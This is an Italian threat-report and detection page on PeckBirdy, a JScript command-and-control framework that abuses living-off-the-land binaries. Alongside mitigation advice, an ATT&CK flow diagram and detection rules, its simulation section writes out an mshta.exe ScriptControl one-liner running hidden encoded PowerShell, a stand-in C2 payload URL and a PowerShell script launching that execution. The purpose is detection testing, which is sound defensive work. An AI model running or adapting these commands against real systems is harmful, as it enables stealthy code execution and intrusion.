PeckBirdy: Un Framework di Script Versatile per l’Esploitation dei LOLBins Usato da Gruppi di Minaccia Allineati alla Cina
Detection stack
- AIDR
- Alert
- ETL
- Query
Sommario
PeckBirdy è un framework di comando e controllo basato su JScript utilizzato da attori APT allineati alla Cina per abusare dei binari living-off-the-land e impiantare backdoor modulari, tra cui HOLODONUT e MKDOOR. È progettato per operare su più runtime—browser web, MSHTA, WScript, NodeJS e .NET—e supporta diverse opzioni di trasporto come WebSocket, Flash, Comet e HTTP. Il framework è stato osservato in campagne tracciate come SHADOW-VOID-044 e SHADOW-EARTH-045, che hanno preso di mira risorse di gioco online, portali web governativi asiatici e un’organizzazione del settore educativo.
Indagine
I ricercatori hanno segnalato iniezioni di script malevoli su siti di gioco compromessi e pagine governative che hanno scaricato il caricatore PeckBirdy, che ha poi recuperato payload di follow-on—tra cui un exploit di Chrome (CVE-2020-16040) e componenti aggiuntivi di backdoor. L’attività è stata collegata a due impianti modulari, HOLODONUT e MKDOOR, e connessa a gruppi osservati precedentemente e modelli di infrastruttura. L’analisi ha anche catalogato indicatori di compromissione, inclusi indirizzi IP, domini e dettagli operativi come l’uso di certificati di firma del codice rubati.
Mitigazione
Blocca i domini e indirizzi IP malevoli identificati, e monitora l’uso atipico dei LOLBin e l’esecuzione di script tramite MSHTA, WScript, e NodeJS. Rileva la creazione del unique_id file in %TEMP% e applica la validazione rigorosa dei certificati di firma del codice. La copertura per payload di Cobalt Strike conosciuti e assembly .NET generati da Donut può ulteriormente ridurre l’esposizione.
Risposta
Se rilevato, isola i sistemi interessati, raccogli lo script iniettato e qualsiasi codice binario di backdoor prodotto, e blocca l’infrastruttura C2 associata. Effettua una triage forense per il movimento laterale e aggiorna la logica di rilevamento per gli artefatti della riga di comando osservati e i modelli di traffico di rete.
“graph TB %% Class Definitions classDef technique fill:#ffdd99 classDef malware fill:#ff9999 classDef tool fill:#99ccff classDef process fill:#ccffcc classDef operator fill:#ff9900 %% Technique Nodes content_injection[“<b>Tecnica</b> – <b>T1659 Iniezione di contenuti</b><br /><b>Descrizione</b>: Iniettare script malevoli nelle pagine web compromesse per fornire payload aggiuntivi.”] class content_injection technique execution_mshta[“<b>Tecnica</b> – <b>T1218.005 Esecuzione Proxy di Binari Firmati: Mshta</b><br /><b>Descrizione</b>: Utilizzare mshta.exe per eseguire file di applicazioni HTML dannose.”] class execution_mshta technique execution_compiled_html[“<b>Tecnica</b> – <b>T1218.001 Esecuzione Proxy di Binari Firmati: File HTML Compilati</b><br /><b>Descrizione</b>: Utilizzare file HTML compilati per eseguire payload JScript dannosi.”] class execution_compiled_html technique victim_id_gen[“<b>Processo</b> – Generazione Identificatore Vittima<br />Generare un ID vittima univoco e allestire lo script dannoso.”] class victim_id_gen process credential_steal_cookie[“<b>Tecnica</b> – <b>T1539 Rubare Cookie di Sessione Web</b><br /><b>Descrizione</b>: Estrarre i cookie di autenticazione dalla sessione del browser della vittima.”] class credential_steal_cookie technique alt_auth_material_cookie[“<b>Tecnica</b> – <b>T1550.004 Usare Materiale di Autenticazione Alternativo: Cookie di Sessione Web</b><br /><b>Descrizione</b>: Riutilizzare i cookie di sessione rubati per autenticarsi come la vittima.”] class alt_auth_material_cookie technique defense_evasion_code_signing[“<b>Tecnica</b> – <b>T1553.002 Sovvertire i Controlli di Fiducia: Firma del Codice</b><br /><b>Descrizione</b>: Utilizzare codice falsificato o firmato erroneamente per aggirare i controlli di fiducia.”] class defense_evasion_code_signing technique masquerading_invalid_sig[“<b>Tecnica</b> – <b>T1036.001 Mascheramento: Firma del Codice Non Valida</b><br /><b>Descrizione</b>: Presentare binari con firme non valide per evitare il rilevamento.”] class masquerading_invalid_sig technique reflective_code_loading[“<b>Tecnica</b> – <b>T1620 Caricamento Riflessivo del Codice</b><br /><b>Descrizione</b>: Caricare il codice direttamente nella memoria senza invocare il loader del sistema operativo.”] class reflective_code_loading technique process_injection[“<b>Tecnica</b> – <b>T1055 Iniezione di Processo</b><br /><b>Descrizione</b>: Iniettare codice dannoso in un processo in esecuzione per nascondere l’esecuzione.”] class process_injection technique impair_defenses[“<b>Tecnica</b> – <b>T1562 Compromissione delle Difese</b><br /><b>Descrizione</b>: Disabilitare o manomettere strumenti e impostazioni di sicurezza.”] class impair_defenses technique execution_guardrails[“<b>Tecnica</b> – <b>T1480 Binari di Esecuzione</b><br /><b>Descrizione</b>: Implementare controlli per eseguire solo su obiettivi o ambienti specifici.”] class execution_guardrails technique obfuscated_embedded_payload[“<b>Tecnica</b> – <b>T1027.009 File o Informazioni Offuscate: Payload Incorporati</b><br /><b>Descrizione</b>: Nascondere payload dannosi all’interno di file o flussi di dati legittimi.”] class obfuscated_embedded_payload technique command_and_control_web[“<b>Tecnica</b> – <b>T1102 Servizio Web</b><br /><b>Descrizione</b>: Utilizzare servizi web standard per la comunicazione di comando e controllo.”] class command_and_control_web technique encrypted_channel[“<b>Tecnica</b> – <b>T1573 Canale Cifrato</b><br /><b>Descrizione</b>: Cifrare il traffico C2 per evitare l’ispezione della rete.”] class encrypted_channel technique app_layer_web_protocols[“<b>Tecnica</b> – <b>T1071.001 Protocollo dello Strato Applicativo: Protocolli Web</b><br /><b>Descrizione</b>: Comunicare attraverso protocolli web comuni come HTTP/HTTPS.”] class app_layer_web_protocols technique data_encoding[“<b>Tecnica</b> – <b>T1132 Codifica dei Dati</b><br /><b>Descrizione</b>: Codificare i dati per evitare il rilevamento durante la trasmissione.”] class data_encoding technique lateral_movement_exploit[“<b>Tecnica</b> – <b>T1210 Sfruttamento dei Servizi Remoti</b><br /><b>Descrizione</b>: Sfruttare i servizi remoti vulnerabili per muoversi lateralmente.”] class lateral_movement_exploit technique remote_vulnerability[“<b>Processo</b> – Sfruttamento della Vulnerabilità di Chrome CVE‑2020‑16040”] class remote_vulnerability process rat_holodonut[“<b>Malware</b> – HOLODONUT<br />Backdoor personalizzato utilizzato per l’accesso remoto”] class rat_holodonut malware rat_mkdoor[“<b>Malware</b> – MKDOOR<br />Backdoor secondario che fornisce persistenza”] class rat_mkdoor malware %% Operator Nodes op_and_exec((“AND”)) class op_and_exec operator %% Connections content_injection u002du002d>|consegna| execution_mshta content_injection u002du002d>|consegna| execution_compiled_html execution_mshta u002du002d>|lancia| victim_id_gen execution_compiled_html u002du002d>|lancia| victim_id_gen victim_id_gen u002du002d>|allestisce script per| credential_steal_cookie credential_steal_cookie u002du002d>|porta a| alt_auth_material_cookie credential_steal_cookie u002du002d>|abilita| defense_evasion_code_signing defense_evasion_code_signing u002du002d>|include| masquerading_invalid_sig defense_evasion_code_signing u002du002d>|include| reflective_code_loading defense_evasion_code_signing u002du002d>|include| process_injection defense_evasion_code_signing u002du002d>|include| impair_defenses defense_evasion_code_signing u002du002d>|include| execution_guardrails defense_evasion_code_signing u002du002d>|include| obfuscated_embedded_payload defense_evasion_code_signing u002du002d>|abilita| command_and_control_web command_and_control_web u002du002d>|utilizza| encrypted_channel encrypted_channel u002du002d>|utilizza| app_layer_web_protocols app_layer_web_protocols u002du002d>|utilizza| data_encoding command_and_control_web u002du002d>|supporta| lateral_movement_exploit lateral_movement_exploit u002du002d>|tramite| remote_vulnerability lateral_movement_exploit u002du002d>|distribuisce| rat_holodonut lateral_movement_exploit u002du002d>|distribuisce| rat_mkdoor “
Flusso di Attacco
Rilevamenti
LOLBAS WScript / CScript (via process_creation)
Visualizza
Comportamento Evasione Difese LOLBAS MSHTA Sospetto rilevato tramite Comandi Associati (via process_creation)
Visualizza
Modifica delle Esclusioni del Defender Sospetta tramite WMIC (via cmdline)
Visualizza
IOC (HashSha1) per rilevare: PeckBirdy: Un Framework di Script Versatile per Sfruttamento LOLBins usato da Gruppi di Minaccia Allineati alla Cina
Visualizza
IOC (SourceIP) per rilevare: PeckBirdy: Un Framework di Script Versatile per Sfruttamento LOLBins usato da Gruppi di Minaccia Allineati alla Cina
Visualizza
IOC (DestinationIP) per rilevare: PeckBirdy: Un Framework di Script Versatile per Sfruttamento LOLBins usato da Gruppi di Minaccia Allineati alla Cina
Visualizza
Utilizzo di MSHTA e ScriptControl per Esecuzione PeckBirdy [Creazione Processo Windows]
Visualizza
Rilevamento di Iniezione Script Malevolo e Furto Credenziali di PeckBirdy [Server Web]
Visualizza
Esecuzione Simulazione
Prerequisito: Il controllo pre-volo di Telemetria & Baseline deve essere superato.
Razionale: Questa sezione dettaglia l’esecuzione precisa della tecnica dell’avversario (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente i TTP identificati e mirare a generare la telemetria esatta aspettata dalla logica di rilevamento.
-
Narrativa & Comandi di Attacco:
L’avversario desidera stabilire un canale di controllo remoto utilizzando il framework di script PeckBirdy. Sceglie script framework. They choosemshta.exeperché è un binario firmato di Windows che bypassa la maggior parte delle liste bianche delle applicazioni. Il payload incorpora unoggetto ScriptControl ActiveXper eseguire codice JScript recuperato da un server C2. I passaggi sono:- Scaricare il payload JScript malevolo dal C2 (ad esempio,
http://malicious.c2/payload.js). - Lanciare
mshta.execon unURI javascript:inline che crea unoggetto ScriptControl ActiveXistanza, carica lo script scaricato, e lo esegue. - Il codice JScript stabilisce un listener TCP inverso, completando il piede nella porta.
La linea di comando esatta che produce la telemetria è:
mshta.exe "javascript:var sc=new ActiveXObject('ScriptControl');sc.Language='JScript';sc.AddCode('var s=new ActiveXObject("WScript.Shell");s.Run("powershell -nop -w hidden -EncodedCommand ...");');void(0)"Questo comando contiene sia
mshta.exeche la stringaoggetto ScriptControl ActiveX, soddisfacendo la condizione Sigma. - Scaricare il payload JScript malevolo dal C2 (ad esempio,
-
Script di Test di Regressione:
Lo script sotto automatizza l’invocazione malevola dimshta. Può essere eseguito su una postazione di lavoro di test sotto un account amministrativo.#------------------------------------------------- # Esecuzione PeckBirdy via mshta + ScriptControl #------------------------------------------------- $c2Url = "http://malicious.c2/payload.js" $jsCode = @" var sc = new ActiveXObject('ScriptControl'); sc.Language = 'JScript'; // Beacon semplice - sostituire con payload reale sc.AddCode('var s = new ActiveXObject("WScript.Shell"); s.Run("cmd /c echo Compromesso > C:temppwned.txt");'); "@ # Codifica il payload JScript per evitare problemi di interruzione di riga $encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($jsCode)) $mshtaCmd = "javascript:var sc=new ActiveXObject('ScriptControl');sc.Language='JScript';sc.AddCode([System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('$encoded')));void(0)" Write-Host "[*] Avviando mshta malevolo..." Start-Process -FilePath "mshta.exe" -ArgumentList $mshtaCmd -NoNewWindow -
Comandi di Pulizia:
Rimuovere qualsiasi artefatto creato dal test (ad esempio, il file temporaneo).#------------------------------------------------- # Pulizia dopo simulazione PeckBirdy #------------------------------------------------- Write-Host "[*] Pulendo artefatti di test..." Remove-Item -Path "C:temppwned.txt" -ErrorAction SilentlyContinue # Ferma qualsiasi processo mshta rimasto avviato dal test Get-Process -Name mshta -ErrorAction SilentlyContinue | Stop-Process -Force